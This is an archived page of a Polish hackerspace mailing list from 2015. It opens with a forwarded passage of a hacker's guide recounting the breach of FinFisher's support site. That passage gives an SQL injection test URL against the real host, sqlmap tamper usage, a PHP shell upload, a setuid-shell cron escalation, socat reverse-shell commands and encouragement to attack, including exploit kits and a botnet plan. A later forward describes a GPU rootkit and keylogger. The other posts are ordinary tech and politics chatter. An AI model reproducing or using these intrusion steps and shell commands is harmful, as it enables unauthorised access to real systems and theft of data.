fierce finds which aren't intended for public viewing like test.company.com or dev.company.com you'll often find interesting stuff just by looking at them. 2) Run nikto [0]. This will check for things like webserver/.svn/, webserver/backup/, webserver/phpinfo.php, and a few thousand other common mistakes and misconfigurations. 3) Identify what software is being used on the website. WhatWeb is useful [1] 4) Depending on what software the website is running, use more specific tools like wpscan [2], CMS-Explorer [3], and Joomscan [4]. First try that against all services to see if any have a misconfiguration, publicly known vulnerability, or other easy way in. If not, it's time to move on to finding a new vulnerability: 5) Custom coded web apps are more fertile ground for bugs than large widely used projects, so try those first. I use ZAP [5], and some combination of its automated tests along with manually poking around with the help of its intercepting proxy. 6) For the non-custom software they're running, get a copy to look at. If it's free software you can just download it. If it's proprietary you can usually pirate it. If it's proprietary and obscure enough that you can't pirate it you can buy it (lame) or find other sites running the same software using google, find one that's easier to hack, and get a copy from them. [0] http://www.cirt.net/nikto2 [1] http://www.morningstarsecurity.com/research/whatweb [2] http://wpscan.org/ [3] https://code.google.com/p/cms-explorer/ [4] http://sourceforge.net/projects/joomscan/ [5] https://code.google.com/p/zaproxy/ For finsupport.finfisher.com the process was: * Start nikto running in the background. * Visit the website. See nothing but a login page. Quickly check for sqli in the login form. * See if WhatWeb knows anything about what software the site is running. * WhatWeb doesn't recognize it, so the next question I want answered is if this is a custom website by Gamma, or if there are other websites using the same software. * I view the page source to find a URL I can search on (index.php isn't exactly unique to this software). I pick Scripts/scripts.js.php, and google: allinurl:"Scripts/scripts.js.php" * I find there's a handful of other sites using the same software, all coded by the same small webdesign firm. It looks like each site is custom coded but they share a lot of code. So I hack a couple of them to get a collection of code written by the webdesign firm. At this point I can see the news stories that journalists will write to drum up views: "In a sophisticated, multi-step attack, hackers first compromised a web design firm in order to acquire confidential data that would aid them in attacking Gamma Group..." But it's really quite easy, done almost on autopilot once you get the hang of it. It took all of a couple minutes to: * google allinurl:"Scripts/scripts.js.php" and find the other sites * Notice they're all sql injectable in the first url parameter I try. * Realize they're running Apache ModSecurity so I need to use sqlmap [0] with the option --tamper='tamper/modsecurityversioned.py' * Acquire the admin login information, login and upload a php shell [1] (the check for allowable file extensions was done client side in javascript), and download the website's source code. [0] http://sqlmap.org/ [1] https://epinna.github.io/Weevely/ Looking through the source code they might as well have named it Damn Vulnerable Web App v2 [0]. It's got sqli, LFI, file upload checks done client side in javascript, and if you're unauthenticated the admin page just sends you back to the login page with a Location header, but you can have your intercepting proxy filter the Location header out and access it just fine. [0] http://www.dvwa.co.uk/ Heading back over to the finsupport site, the admin /BackOffice/ page returns 403 Forbidden, and I'm having some issues with the LFI, so I switch to using the sqli (it's nice to have a dozen options to choose from). The other sites by the web designer all had an injectable print.php, so some quick requests to: https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1 https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1 reveal that finsupport also has print.php and it is injectable. And it's database admin! For MySQL this means you can read and write files. It turns out the site has magicquotes enabled, so I can't use INTO OUTFILE to write files. But I can use a short script that uses sqlmap --file-read to get the php source for a URL, and a normal web request to get the HTML, and then finds files included or required in the php source, and finds php files linked in the HTML, to recursively download the source to the whole site. Looking through the source, I see customers can attach a file to their support tickets, and there's no check on the file extension. So I pick a username and password out of the customer database, create a support request with a php shell attached, and I'm in! --[ 5 ]-- (fail at) Escalating ___________ < got r00t? > ----------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || ^^^^^^^^^^^^^^^^ Root over 50% of linux servers you encounter in the wild with two easy scripts, Linux_Exploit_Suggester [0], and unix-privesc-check [1]. [0] https://github.com/PenturaLabs/Linux_Exploit_Suggester [1] https://code.google.com/p/unix-privesc-check/ finsupport was running the latest version of Debian with no local root exploits, but unix-privesc-check returned: WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user www-data can write to /etc/cron.hourly/mgmtlicensestatus WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data can write to /etc/cron.hourly/webalizer so I add to /etc/cron.hourly/webalizer: chown root:root /path/to/my_setuid_shell chmod 04755 /path/to/my_setuid_shell wait an hour, and ....nothing. Turns out that while the cron process is running it doesn't seem to be actually running cron jobs. Looking in the webalizer directory shows it didn't update stats the previous month. Apparently after updating the timezone cron will sometimes run at the wrong time or sometimes not run at all and you need to restart cron after changing the timezone. ls -l /etc/localtime shows the timezone got updated June 6, the same time webalizer stopped recording stats, so that's probably the issue. At any rate, the only thing this server does is host the website, so I already have access to everything interesting on it. Root wouldn't get much of anything new, so I move on to the rest of the network. --[ 6 ]-- Pivoting The next step is to look around the local network of the box you hacked. This is pretty much the same as the first Scanning & Exploiting step, except that from behind the firewall many more interesting services will be exposed. A tarball containing a statically linked copy of nmap and all its scripts that you can upload and run on any box is very useful for this. The various nfs-* and especially smb-* scripts nmap has will be extremely useful. The only interesting thing I could get on finsupport's local network was another webserver serving up a folder called 'qateam' containing their mobile malware. --[ 7 ]-- Have Fun Once you're in their networks, the real fun starts. Just use your imagination. While I titled this a guide for wannabe whistleblowers, there's no reason to limit yourself to leaking documents. My original plan was to: 1) Hack Gamma and obtain a copy of the FinSpy server software 2) Find vulnerabilities in FinSpy server. 3) Scan the internet for, and hack, all FinSpy C&C servers. 4) Identify the groups running them. 5) Use the C&C server to upload and run a program on all targets telling them who was spying on them. 6) Use the C&C server to uninstall FinFisher on all targets. 7) Join the former C&C servers into a botnet to DDoS Gamma Group. It was only after failing to fully hack Gamma and ending up with some interesting documents but no copy of the FinSpy server software that I had to make due with the far less lulzy backup plan of leaking their stuff while mocking them on twitter. Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password already so I can move on to step 2! --[ 8 ]-- Other Methods The general method I outlined above of scan, find vulnerabilities, and exploit is just one way to hack, probably better suited to those with a background in programming. There's no one right way, and any method that works is as good as any other. The other main ways that I'll state without going into detail are: 1) Exploits in web browers, java, flash, or microsoft office, combined with emailing employees with a convincing message to get them to open the link or attachment, or hacking a web site frequented by the employees and adding the browser/java/flash exploit to that. This is the method used by most of the government hacking groups, but you don't need to be a government with millions to spend on 0day research or subscriptions to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit for a couple thousand, and rent access to one for much less. There's also metasploit browser autopwn, but you'll probably have better luck with no exploits and a fake flash updater prompt. 2) Taking advantage of the fact that people are nice, trusting, and helpful 95% of the time. The infosec industry invented a term to make this sound like some sort of science: "Social Engineering". This is probably the way to go if you don't know too much about computers, and it really is all it takes to be a successful hacker [0]. [0] https://www.youtube.com/watch?v=DB6ywr9fngU --[ 9 ]-- Resources Links: * https://www.pentesterlab.com/exercises/ * http://overthewire.org/wargames/ * http://www.hackthissite.org/ * http://smashthestack.org/ * http://www.win.tue.nl/~aeb/linux/hh/hh.html * http://www.phrack.com/ * http://pen-testing.sans.org/blog/2012/04/26/got-meterpreter-pivot * http://www.offensive-security.com/metasploit-unleashed/PSExec_Pass_The_Hash * https://securusglobal.com/community/2013/12/20/dumping-windows-credentials/ * https://www.netspi.com/blog/entryid/140/resources-for-aspiring-penetration-… (all his other blog posts are great too) * https://www.corelan.be/ (start at Exploit writing tutorial part 1) * http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overvi… One trick it leaves out is that on most systems the apache access log is readable only by root, but you can still include from /proc/self/fd/10 or whatever fd apache opened it as. It would also be more useful if it mentioned what versions of php the various tricks were fixed in. * http://www.dest-unreach.org/socat/ Get usable reverse shells with a statically linked copy of socat to drop on your target and: target$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp- listen:PORTNUM host$ socat file:`tty`,raw,echo=0 tcp-connect:localhost:PORTNUM It's also useful for setting up weird pivots and all kinds of other stuff. Books: * The Web Application Hacker's Handbook * Hacking: The Art of Exploitation * The Database Hacker's Handbook * The Art of Software Security Assessment * A Bug Hunter's Diary * Underground: Tales of Hacking, Madness, and Obsession on the Electronic Frontier * TCP/IP Illustrated Aside from the hacking specific stuff almost anything useful to a system administrator for setting up and administering networks will also be useful for exploring them. This includes familiarity with the windows command prompt and unix shell, basic scripting skills, knowledge of ldap, kerberos, active directory, networking, etc. --[ 10 ]-- Outro You'll notice some of this sounds exactly like what Gamma is doing. Hacking is a tool. It's not selling hacking tools that makes Gamma evil. It's who their customers are targeting and with what purpose that makes them evil. That's not to say that tools are inherently neutral. Hacking is an offensive tool. In the same way that guerrilla warfare makes it harder to occupy a country, whenever it's cheaper to attack than to defend it's harder to maintain illegitimate authority and inequality. So I wrote this to try to make hacking easier and more accessible. And I wanted to show that the Gamma Group hack really was nothing fancy, just standard sqli, and that you do have the ability to go out and take similar action. Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned hackers, dissidents, and criminals! ----------------------------------------- -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

2 2

DefCon
by rysiek 17 Jul '15

17 Jul '15

Cześć, jedzie ktoś na DefCon w tym roku? Dajcie znać, jest interes do zrobienia. /inb4 ile można stracić -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

2 2

VPS na swoje zabawki
by Michał Różański 13 Jul '15

13 Jul '15

Witam Zna ktoś w miarę taniego dostawcę vpsów który nie narzuca ostrych ograniczeń i pozwala postawić usługi typu postfix, owncloud lub xmpp? Szukam czegoś w miarę elastycznego i profesjonalnego... Chce się uniezależnić od gmaila i dropboxa ;)

10 17

longblob w mysql - good practices for a bad practice? :]
by spin＠hackerspace.pl 13 Jul '15

13 Jul '15

in b4 na longbloby jest baza danych i nazywa się filesystem - tak wiem o tym. Mimo to chciałem pobawić się pakowaniem danych binarnych w DB, bo ma to parę zalet. Jakie są good practices trzymania i adresowania longblobów w MySQL (poza 'don't fuckin' do it')? Wiem że Microsoft coś kombinował z wydajnością tego, i InnoDB coś tam miało swojego, a Oracle zostawał w tyle... Dorobili się czegoś, jest coś w planach, są obejścia/hax, czy zlać MySQLa i pójść gdzie indziej? Jak trzymać w bazie dane dłuższe niż 4gb? Concat z kilku regionów? Jak adresować longbloby typu video, które mogą być streamowane i mają czas trwania, więc wywołąnie może być fragmentaryczne? Ew. inne ciekawe case'y, dawajcie mi, ponieważ mój mózg om nom nom je z chęcią. Again, wiem że pakowanie longblobów do bazy danych jest bad practice, ale ma kilka zalet które mnie interesują i chciałem się pobawić.

9 17

NAS build recommendations?
by spin＠hackerspace.pl 07 Jul '15

07 Jul '15

Oy. Potrzebuję rekomendacji na płytę główną do domowego NASa. Must have: Procesor zintegrowany, minimum 6 portów SATA, luniks-friendly. Bonusy: Mały form factor, energooszczędna, fajnie jeśli pasywny radiator. Będzie pewnie robiła enkrypcję, pewnie luks, więc byłoby megamiło gdyby proc dał rade bez gotowania wątróbki. Chyba że ktoś ma fajne rozwiązania na client-side decrypt, to z chęcią poznam :) Ktoś coś mógłby polecić?

9 13

Pyspread - python spread sheet!
by spin＠hackerspace.pl 03 Jul '15

03 Jul '15

Jakoś tak wyszło że muszę przepychać dane przez spreadsheety. Ponieważ nie widzi mi się dokonywanie samogwałtu za pomocą VBA, zacząłem szukać... i znalazłem coś takiego! https://manns.github.io/pyspread/first_steps.html Jest to arkusz kalkulacyjny który w komórkach akceptuje wyrażenia Pythonowe :D

2 2

Mazurzenie się z rysiem
by rysiek 01 Jul '15

01 Jul '15

Cześć, ponieważ w ostatniej chwili wysypała mi się dwójka załogantów, mam wolne miejsca na mazurskie żeglowanie od *tego piątku* (03.07) do 12.07. Jakby ktoś miał ochotę na cały okres, mam jedną koję. W łikend 10-12.07 mam ze 3-4 (jeszcze się ustala). Jakby ktoś miał ochotę, walcie maila na priv. Pływamy na tym: http://marina.com.pl/bolero805,jachty.html Duże, ale szybkie i przyjemne w żegludze. Koszt zależnie od dat (cały okres to ~500cbln; szczegóły na priv). -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

Fwd: Pirate Party’s youth wing Activists wiretap high-level political surveillance hawks at Sweden’s top security conference
by rysiek 28 Jun '15

28 Jun '15

:D ---------- Treść przekazywanej wiadomości ---------- Temat: Pirate Party’s youth wing Activists wiretap high-level political surveillance hawks at Sweden’s top security conference Data: środa, 17 czerwca 2015, 18:28:57 Od: Zenaan Harkness Do: cypherpunks(a)cpunks.org https://falkvinge.net/2015/01/14/hilarious-activists-turn-tables-on-politic… "They set up an open wi-fi access point at the conference and labeled it “Open Guest”, and then just logged the traffic of about a hundred high-ranking surveillance hawks who argue for more wiretapping, and who connected through the activists’ unencrypted access point. " "...generally everybody present who would argue in public that surveillance of other people than themselves is the best idea since sliced bread." ... "In closing, we are happy to report that we have found no traces whatsoever of preparations of terrorism in our surveillance. However, we do note that people need to get much better at using the net in a secure manner." ----------------------------------------- -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

2 1

Fwd: Tribler - anonymous downloading
by rysiek 28 Jun '15

28 Jun '15

---------- Treść przekazywanej wiadomości ---------- Temat: Tribler - anonymous downloading Data: niedziela, 28 czerwca 2015, 19:28:13 Od: Александр Do: CypherPunks <cypherpunks(a)cpunks.org> > > https://www.tribler.org/ > https://github.com/Tribler/tribler/releases > > "Tribler - Privacy using our Tor-inspired onion routing. > Tribler offers anonymous downloading. Bittorrent is fast, but has no > privacy. We do NOT use the normal Tor network, but created a dedicated > Tor-like onion routing network exclusively for torrent downloading. Tribler > follows the Tor wire protocol specification and hidden services spec quite > closely, but is enhanced to need no central (directory) server" > This looks very nice. And they are constantly improving. ----------------------------------------- -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

Broszura EDRI : TTIP a prawa cyfrowe
by Marcin 25 Jun '15

25 Jun '15

Cześć, Wyszła broszura EDRI o zwiazku TTIP z prawami cyfrowymi, m.in. o zagrożeniach dla szyfrowania i neutralności sieci, polecam poczytać i rozsyłać! tu jest link do bookletu: https://edri.org/files/TTIP_and_DigitalRights_booklet_WEB.pdf <https://edri.org/files/TTIP_and_DigitalRights_booklet_WEB.pdf> W związku z tym może polskie hackerspejsy mogłyby rozważyć podłączenie się do koalicji uwagaTTIP.pl ? Zapraszam też do indywidualnego podpisywania się pod kampanią przeciwko TTIP na stronie https://stop-ttip.pl/ <https://stop-ttip.pl/> Pozdro 600 — Marcin Koziej University of Warsaw Ϟ Akcja Demokracja Ϟ Radiofonia Ϟ Moko Velo Coop GPG key: http://koziej.cahoots.pl/gpg/ <http://koziej.cahoots.pl/gpg/> Twitter: @movonw

1 0

MON już był... może teraz GIODO? :3
by Wiktor Przybylski 24 Jun '15

24 Jun '15

http://www.polskieradio.pl/7/473/Artykul/1466742 Edyta Bielak–Jomaa: /"(...) //Myślę, że tutaj chodziło o wywołanie pewnego zamieszania, być może sprowokowanie jakiegoś działania przez hakera."/ Inb4 polskie radio - pisałem już kiedyś.

3 2

Narodowy Szyfrator
by rysiek 22 Jun '15

22 Jun '15

Elo, nie, to nie żart. "Polacy stworzyli najpotężniejszą maszynę szyfrującą na świecie. Gdyby ktoś chciał złamać jej szyfry i wykorzystał do tego wszystkie komputery pracujące dziś na świecie, to zajęłoby mu to około 14 miliardów lat. Urządzenie jest nazywane polską Enigmą, w nawiązaniu do najsłynniejszej maszyny szyfrującej II Wojny Światowej." -- http://tech.wp.pl/kat,1009779,title,Polacy-stworzyli-najlepsza-maszyne-szyf… -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

4 8

Find a Hacker
by rysiek 21 Jun '15

21 Jun '15

Cześć, pozdrawiam hakera widocznego na zdjęciu (dobrze widzę, prawda?): http://wiadomosci.wp.pl/kat,1342,title,Czarna-procesja-przedstawicieli-nauk… :) -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

12 27

Let's Encrypt
by rysiek 19 Jun '15

19 Jun '15

Cześć, Let's Encrypt: https://letsencrypt.org/ ...ma już klucze prywatnei certy pośrednie[1] (na razie RSA; ECDSA będą generować później), i drafty: - Subscriber Agreement[2] - Certificate Policy[3] - Certification Proactice Statement[4] [1] https://letsencrypt.org/2015/06/04/isrg-ca-certs.html [2] https://letsencrypt.org/documents/LE-Draft-SA-May-21-2015.pdf [3] https://letsencrypt.org/documents/ISRG-CP-May-5-2015.pdf [4] https://letsencrypt.org/documents/ISRG-CPS-May-5-2015.pdf Znaczy, idą do przodu. -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

4 7

LawyerUp
by rysiek 16 Jun '15

16 Jun '15

Elo, taka sytuacja: http://crossweb.pl/wydarzenia/lawyerup-1-co-wolno-na-licencjach-cc-i-gnu/ Ktoś się wybiera? Bo bardzo jestem ciekaw, jak będzie i co będzie. Grafika... nie budzi mojego entuzjazmu. ;) -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

trawienie ribbon cables/flexPCBs
by spin＠hackerspace.pl 14 Jun '15

14 Jun '15

Yo, potrzebuję wytrawić ścieżki na czymś giętkim. Wiem że jest kapton powlekany miedzią od 3M, ale jest trudny do dostania. Plz opinie czy dałoby radę zkleić cienką folię miedzianą z taśmą kaptonową i tak trawić. Co z reaktywnością kleju? Taśmy miedziane widziałem tylko powlekane klejem, ktoś z tym pracował? Jak to się zachowuje w lutowaniu? etc. Sugestie/opinie mile widziane. Ew. jak ktoś ma odrobinę folii miedzianej żebym nie musiał kupować całej rolki, to bym na kapton nalepił i przetrawił, przelutował, ztestował. Jak nie da rady to wezmę zwykłą taśmę AWG28 ale wolałbym tego uniknąć, bo będzie nieelegancko.

2 2

Fwd: Reporter-USG Exchanges on Snowden Docs
by rysiek 13 Jun '15

13 Jun '15

---------- Treść przekazywanej wiadomości ---------- Temat: Reporter-USG Exchanges on Snowden Docs Data: sobota, 13 czerwca 2015, 13:37:00 Od: John Young Do: cypherpunks(a)cpunks.org Italian reporter Stefania Maurizi has published her exchanges with NSA, DoJ and State about publishing Snowden documents (an exemplary model for others to follow): http://www.stefaniamaurizi.it/images/email_exchange_NSA.pdf http://www.stefaniamaurizi.it/images/email_exchange_DoJ.pdf http://www.stefaniamaurizi.it/images/email_exchange_State_Dept.pdf She also said she has published all the Snowden documents she had access to (another exemplar for those still withholding 93% of the Snowden full dump for the public, or 99.98% of the 1.7M USG claims was taken). ----------------------------------------- -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

1 0

Fwd: [Cryptography] Did Intel just execute its warrant canary ?
by rysiek 11 Jun '15

11 Jun '15

---------- Treść przekazywanej wiadomości ---------- Temat: Fwd: [Cryptography] Did Intel just execute its warrant canary ? Data: wtorek, 9 czerwca 2015, 01:01:44 From: Henry Baker [via garpgarp] FYI -- I conjecture that the second GPU story following less than one month after the first GPU story is not just coincidence, but one of the requirements of a secret National Security Letter to Intel. The first story shows how GPU's can house malware, while the second story explains that Intel won't be sharing its GPU code where such malware will be housed. "no reverse engineering, decompilation, or disassembly of this software is permitted" As feared, the DMCA will be used against those who attempt to look for this malware in Intel GPU's. https://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act -------- http://arstechnica.com/security/2015/05/gpu-based-rootkit-and-keylogger-off… GPU-based rootkit and keylogger offer superior stealth and computing power Proof-of-concept malware may pave the way for future in-the-wild attacks. by Dan Goodin - May 7, 2015 3:43 pm UTC Developers have published two pieces of malware that take the highly unusual step of completely running on an infected computer's graphics card, rather than its CPU, to enhance their stealthiness and give them increased computational abilities. Both the Jellyfish rootkit and the Demon keylogger are described as proofs-of-concept by their pseudo-anonymous developers, whom Ars was unable to contact. Tapping an infected computer's GPU allows malware to run without the usual software hooks or modifications malware makes in the operating system kernel. Those modifications can be dead giveaways that a system is infected. https://github.com/x0r1/jellyfish https://github.com/x0r1/Demon Here's how the developers describe their rootkit: Jellyfish is a Linux based userland gpu rootkit proof of concept project utilizing the LD_PRELOAD technique from Jynx (CPU), as well as the OpenCL API developed by Khronos group (GPU). Code currently supports AMD and NVIDIA graphics cards. However, the AMDAPPSDK does support Intel as well. Advantages of gpu stored memory: * No gpu malware analysis tools available on web * Can snoop on cpu host memory via DMA * Gpu can be used for fast/swift mathematical calculations like xor'ing or parsing * Stubs * Malicious memory is still inside gpu after shutdown Requirements for use: * Have OpenCL drivers/icds installed * Nvidia or AMD graphics card (intel supports amd's sdk) * Change line 103 in rootkit/kit.c to server ip you want to monitor gpu client from Stay tuned for more features: * client listener; let buffers stay stored in gpu until you send magic packet from server Disclaimer: Educational purposes only; authors of this project/demonstration are in no way, shape or form responsible for what you may use this for whether illegal or not. They provide no technical details about Demon keylogger other than to say it's a proof-of-concept that implements the malware described in this 2013 academic research paper titled You Can Type, but You Can’t Hide: A Stealthy GPU-based Keylogger. The Demon creators stress that they aren't associated with the researchers. http://www.cs.columbia.edu/~mikepo/papers/gpukeylogger.eurosec13.pdf "The key idea behind our approach is to monitor the system’s keyboard buffer directly from the GPU via DMA [direct memory access], without any hooks or modifications in the kernel's code and data structures besides the page table," the researchers behind the 2013 paper wrote. "The evaluation of our prototype implementation shows that a GPU-based keylogger can effectively record all user keystrokes, store them in the memory space of the GPU, and even analyze the recorded data in-place, with negligible runtime overhead." Aside from malware that taps GPUs to mint Bitcoin and other crypto currencies, Ars isn't aware of malicious software actively circulating in the wild that makes use of infected computers' graphics processors. And even then, most or all of those titles run mainly on the CPU and offload only the computationally intensive workloads to the GPU. In March, researchers from Kaspersky Lab documented highly sophisticated malware in the wild that infected firmware that runs 12 different models of hard drives. The group that created the malware had flown under the radar for 14 years. In its current form Jellyfish is likely to remain a highly niche undertaking, since it requires a dedicated GPU. Since many computers don't contain stand-alone graphics cards, such malware might greatly limit the machines that could be infected. Still, the approach may make sense in certain situations, say for attackers targeting gamers or video enthusiasts, or espionage campaigns where stealth is crucial. And as readers have pointed out in comments below, it's feasible malware could be developed that runs on graphics processors integrated into CPUs. Post updated to recast the last paragraph to account for integrated graphics processors, and to add details in the second-to-last paragraph about malware infecting hard-drive firmware. ---------------- https://www.phoronix.com/scan.php?page=news_item&px=Intel-SKL-BXT-Firmware-… Intel Skylake & Broxton To Require Graphics Firmware Blobs Published on 05 June 2015 06:20 PM EDT Written by Michael Larabel in Intel Intel's upcoming Skylake and Broxton hardware will require some binary-only firmware blobs by the i915 DRM kernel graphics driver. Rodrigo Vivi of Intel's Open-Source Technology Center sent in the pull request for landing these binary files into the linux-firmware repository. Up to now there's been no i915 blobs within the linux-firmware tree. These first i915 DRM firmware blobs are for Skylake and Broxton for the GuC and DMC. DMC in this context is the Display Microcontroller, which is present in Skylake (Gen9) and newer and used within the display engine to save and restore its state when entering into low-power states and then resuming. The DMC is basically saving/restoring display registers across low-power states separate of the kernel. The GuC engine on Skylake is responsible for workload scheduling on the parallel graphics engines. Intel explained on 01.org, "GuC is designed to perform graphics workload scheduling on the various graphics parallel engines. In this scheduling model, host software submits work through one of the 256 graphics doorbells and this invokes the scheduling operation on the appropriate graphics engine. Scheduling operations include determining which workload to run next, submitting a workload to a command streamer, pre-empting existing workloads running on an engine, monitoring progress and notifying host SW when work is done." This page also seems to indicate that these firmware blobs are required by the DRM driver rather than being an optional add-on. The license of these firmware blobs also indicate that redistribution is only allowed in binary form without modification. Beyond that, "no reverse engineering, decompilation, or disassembly of this software is permitted." These new firmware blobs will certainly have some open-source enthusiasts less excited now about Skylake, Broadwell's successor beginning to ship later this year, and Broxton meanwhile is the new Atom SoC built using the Goldmont architecture and will feature Skylake graphics. If there's any good news out of the situation, at least Intel is shipping these firmware files early rather than NVIDIA that with their months-old hardware still hasn't released their GTX 900 Maxwell firmware files needed by the Nouveau driver to provide open-source hardware acceleration. AMD also tends to be timely with the releasing of their necessary binary-only GPU firmware files for the open-source Linux driver. _______________________________________________ The cryptography mailing list cryptography(a)metzdowd.com http://www.metzdowd.com/mailman/listinfo/cryptography ----------------------------------------- -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

5 6

Klawka mechaniczna - jakie switche?
by spin＠hackerspace.pl 10 Jun '15

10 Jun '15

Yo, Chciałem sobie złożyć lub kupić klawkę na switchach mechanicznych, i najchętniej zamówiłbym po kilka switchy w różnych rodzajach i sobie potestował. Jak to załatwić w miarę ekonomicznie? Ktoś w PL wogóle sprzedaje, czy trzeba ciągnąć z internetów? ew. jakie klawki rynkowe można wyrwać teraz które będą na przyzwoitych switchach? (MX blue pewnie, bo ciche)

6 8

PythonOOC zamiast OpenSCADa
by spin＠hackerspace.pl 08 Jun '15

08 Jun '15

https://www.youtube.com/watch?v=mnQ1IqfjsCs Patrzę na tę siatkę i mi serce rośnie jak bardzo ktoś rozumiał o co biega w parametrycznym generowaniu obiektów, i jak bardzo OpenSCAD ssie.

4 6

Telewizor jako głośnik
by rysiek 07 Jun '15

07 Jun '15

Elo, taka sytuacja -- w moim obecnym lokum jest coś takiego: http://www.chip.de/preisvergleich/141773/Uebersicht-Toshiba-26AV703G.html Ma toto następujące wejścia: 2 × HDMI 1 × VGA + mini-jack audio 1 × Component (w tym audio po cinchach) 1 × S-Video (w tym audio po cinchach) 1 × USB (lel) 2 × SCART Chcę do tego podłączyć tylko audio (np. z komórki), *bez* podpinania wideo. Próbowałem mini-jackiem, próbowałem cinchami w Component i w S-Video, ni chu. Twierdzi, że "no connection". Jeszcze może spróbuję przejściówkę S-Video<->SCART. Ale może jest coś, co mi umyka? Może da się jakoś mu powiedzieć "elo stary, wiem, że tu nie ma wideło, bier waść audio i to graj, a nie będziesz mi tu manianę odstawiał"? Ktoś coś? -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

3 4

KungFury
by rysiek 06 Jun '15

06 Jun '15

Elo, nie żeby coś, ale ten. KungFury miał dwa dni temu swoją premierę. Endżoj: https://www.youtube.com/watch?v=bS5P_LAqiVg -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

4 3

z czego jest ten trackpoint?
by spin＠hackerspace.pl 06 Jun '15

06 Jun '15

Yo, http://d.hatena.ne.jp/satromi/20081012/1223800934 z czego jest ten trackpad, i gdzie go mozna dostać? o_0

2 2

SSH w Windows
by rysiek 06 Jun '15

06 Jun '15

Elo, świat się kończy: http://undeadly.org/cgi?action=article&sid=20150603090420&mode=expanded -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

8 8

SilkRoad, Ross Ulbricht i zabójstwa na zlecenie
by rysiek 02 Jun '15

02 Jun '15

Cześć, podrzucam: http://www.wired.com/2015/02/read-transcript-silk-roads-boss-ordering-5-ass… Trochę straszna lektura. -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

2 2

CopyWrongs
by rysiek 01 Jun '15

01 Jun '15

Cześć, mamy 14 dni na to, by pomóc zreformować wreszcie prawo autorskie w Unii Europejskiej: http://copywrongs.eu/ Każdy telefon, każdy e-mail się liczy. SRSBSNS. Jest niezerowa szansa, że uda się wprowadzić bardzo konkretne, pozytywne zmiany w prawie autorskim w EU. Głosowanie 16.06. Nawet jak to przejdzie, pozostanie jeszcze wiele do zrobienia, ale pierwszy krok się bardzo liczy. Jeśli to przejdzie, będzie to pierwszy od dekad krok w kierunku faktycznie dostosowania prawa autorskiego do nowych technologii -- zamiast OMG PIRACI ROZSZERZAĆ BO KRADNO!!1! Also, general copywrongs thread. Zacznę: "Although there is an international standard that has been agreed by the ISO and within Europe by the EU, copyright laws make it difficult to publish these widely. However there have been attempts to summarize the main national and international standards." -- http://en.wikipedia.org/wiki/Laundry_symbol -- Pozdrawiam, Michał "rysiek" Woźniak Zmieniam klucz GPG :: http://rys.io/pl/147 GPG Key Transition :: http://rys.io/en/147

3 4

matryca 12.1 edp upgrade?
by Rasz 27 May '15

27 May '15

Dostalem lapka z marna matryca 12.1 edp 1280x800 TN i zerowymi katami beznadziejnymi kolorami. Nigdzie nie moge znalezc nic ciekawszego na podmiane :( Najblizej sa jakies mody X220 do fullhd na IPS, ale to juz 12.5. Czy jest cos z wyzsza rozdzielczoscia poza lcde z ipada 3? 9.7 pewnie by wygladalo nieciekawie z pusta ramka, no i trace 2 cale. Nie wiem tez jak by sie zachowal bios jesli podmienie lcd na ipadowe :o -- Who logs in to gdm? Not I, said the duck.

3 4

Łożyska kulkowe bezsmarowe
by Robert Sebastian Gerus 27 May '15

27 May '15

http://www.coo-space.com/ http://www.gizmag.com/greaseless-ball-bearings-coo-space-adb/37689/ A najlepsze, że mają mieć dużo mniejsze opory niż "normalne" łożyska. -- iNsanity!

2 1

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

General